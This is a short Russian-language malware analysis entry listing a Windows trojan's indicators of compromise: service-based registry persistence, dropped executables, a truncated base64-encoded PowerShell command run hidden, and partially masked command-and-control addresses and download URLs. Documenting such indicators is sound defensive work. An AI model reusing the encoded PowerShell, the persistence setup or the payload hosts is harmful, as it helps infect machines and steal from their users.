Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\azroleui] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\azroleui] 'ImagePath' = '"%WINDIR%\SysWOW64\d3dx9_25\azroleui.exe"'
- 'azroleui' "%WINDIR%\SysWOW64\d3dx9_25\azroleui.exe"
- 'azroleui' %WINDIR%\SysWOW64\d3dx9_25\azroleui.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB0AGUAbgBsAGEAbwB5AHIAZQBpAHcAbABvAGEAZwA9ACcAdwBpAG8AcgBxAHUAYQBpAHIAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAQwBgAFUAcgBgAGkAdAB5AHAAUgBPAH...
- %HOMEPATH%\205.exe
- %WINDIR%\syswow64\d3dx9_25\azroleui.exe
- %HOMEPATH%\205.exe в %WINDIR%\syswow64\d3dx9_25\azroleui.exe
- '94.##.254.194':80
- '21#.#1.142.238':8080
- http://cr#####realtypoint.com/blogs/0DR9ph1g1s/
- http://ba###ngsivn.com/b9m0wc/umCqARlQb/
- http://21#.##.142.238:8080/4rYO8c3d3z4/PWcJDHgrtUkk5n/KEeWQfrzvSe/PfnzG/ via 21#.#1.142.238
- DNS ASK ge###uyw.com
- DNS ASK cr#####realtypoint.com
- DNS ASK gr#####alopoblano.com
- DNS ASK ba###ngsivn.com
- '%HOMEPATH%\205.exe'
- '%WINDIR%\syswow64\d3dx9_25\azroleui.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JAB0AGUAbgBsAGEAbwB5AHIAZQBpAHcAbABvAGEAZwA9ACcAdwBpAG8AcgBxAHUAYQBpAHIAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAQwBgAFUAcgBgAGkAdAB5AHAAUgBPAH...' (со скрытым окном)